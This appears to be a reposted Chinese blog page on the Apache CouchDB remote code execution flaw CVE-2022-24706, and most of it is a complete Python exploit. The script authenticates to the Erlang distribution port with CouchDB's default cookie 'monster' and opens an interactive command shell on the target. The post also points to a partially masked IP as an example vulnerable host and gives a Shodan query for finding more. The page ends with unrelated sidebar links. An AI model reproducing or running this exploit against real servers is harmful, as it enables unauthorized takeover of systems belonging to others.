当前位置:网站首页>Apache CouchDB 代码执行漏洞(CVE-2022-24706 )批量POC
Apache CouchDB 代码执行漏洞(CVE-2022-24706 )批量POC
2022-06-25 06:43:00 【苏落is菜鸡】
Apache CouchDB 代码执行漏洞(CVE-2022-24706 )
由于CouchDB的默认安装配置存在缺陷,最终可导致攻击者通过访问特定端口,绕过权限校验并获得管理员权限
CVE-2022-24706漏洞是由于3.2.2 版本之前的 CouchDB 的默认配置存在缺陷点, 攻击者可以在未进行身份验证的情况下访问不正确的默认安装进而获得管理员权限。该漏洞影响范围小,建议用户在所有 CouchDB 安装之前安装防火墙。完整的CouchDB api 在注册端口“5984”上可用,这是唯一的需要为单节点安装公开的端口。
实例:45.147.96.xxx 存在REC
EXP
# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://couchdb.apache.org/
# Version: 3.2.1 and below
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name couchdb at"
# CVE: CVE-2022-24706
# References:
# https://habr.com/ru/post/661195/
# https://www.exploit-db.com/exploits/49418
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
# https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
#
#
# !/usr/local/bin/python3
import socket
from hashlib import md5
import struct
import sys
import re
import time
TARGET = sys.argv[1]
EPMD_PORT = 4369 # Default Erlang distributed port
COOKIE = "monster" # Default Erlang cookie for CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
# Some data:
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\[email protected]"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\[email protected]\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\[email protected]\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
while not TARGET:
TARGET = input("Enter target host:\n> ")
# Connect to EPMD:
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
epm_socket.send(EPM_NAME_CMD) # request Erlang nodes
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" % (line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search("\d+$", data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Connect to Erlang port:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
s.send(NAME_MSG)
s.recv(5) # Receive "ok" message
challenge = s.recv(1024) # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]
# print("Extracted challenge: {}".format(challenge))
# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
s.recv(45) # Control message
data_size -= 45 # Data size without control message
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
# print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode())
data_size = 0
else:
data = s.recv(1024)
# print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode(), end='')
data_size -= 1024边栏推荐
- 搞清信息化是什么,让企业转型升级走上正确的道路
- 基于RBAC 的SAAS系统权限设计
- Manufacturing process of PCB 2021-10-11
- Analysis of kinsing dual platform mining family virus
- @Resource和@Autowired注解的不同,为什么推荐@Resource?
- OAuth 2.0 one click login
- 将数据导入到MATLAB
- WinForm implementation window is always at the top level
- Terms and concepts related to authority and authentication system
- Pit encountered by pytorch: why can't l1loss decrease during model training?
猜你喜欢

微信小程序开通客服消息功能开发

Technology blog | how to communicate using SSE

Modular programming of oled12864 display controlled by single chip microcomputer

Tips on how to design soft and hard composite boards ~ 22021/11/22

搞清信息化是什么,让企业转型升级走上正确的道路

PCB board design - automatic layout 2021-10-15

Cifar-10 dataset application: quick start data enhancement method mixup significantly improves image recognition accuracy

One "stone" and two "birds", PCA can effectively improve the dilemma of missing some ground points under the airborne lidar forest

This article uses pytorch to build Gan model!

Find out what informatization is, and let enterprises embark on the right path of transformation and upgrading
随机推荐
57. 插入区间
One "stone" and two "birds", PCA can effectively improve the dilemma of missing some ground points under the airborne lidar forest
navicat定时任务无效
How to use printf of 51 single chip microcomputer
使用Adobe Acrobat Pro调整PDF页面为统一大小
Terms and concepts related to authority and authentication system
个人域名和企业域名的区别
This article uses pytorch to build Gan model!
2265. number of nodes with statistical value equal to the average value of subtree
Elk + filebeat log parsing, log warehousing optimization, logstash filter configuration attribute
"Spatial transformation" significantly improves the quality of ground point extraction of cliff point cloud
Find out what informatization is, and let enterprises embark on the right path of transformation and upgrading
C WinForm panel custom picture and text
[little knowledge] PCB proofing process
realsense d455 semantic_ Slam implements semantic octree mapping
PCB board design - automatic layout 2021-10-15
Vscode is good, but I won't use it again
How much do you know about electronic components on PCB?
LeetCode_哈希表_中等_454.四数相加 II
【QT】Qt 5 的程序:打印文档
https://qr.dingtalk.com/action/joingroup?code=v1,k1,pvNvPYemLn/GMB6zR6MOqYRz+Fek+eWMYkXCD3cR6Ag=&_dt_no_comment=1&origin=11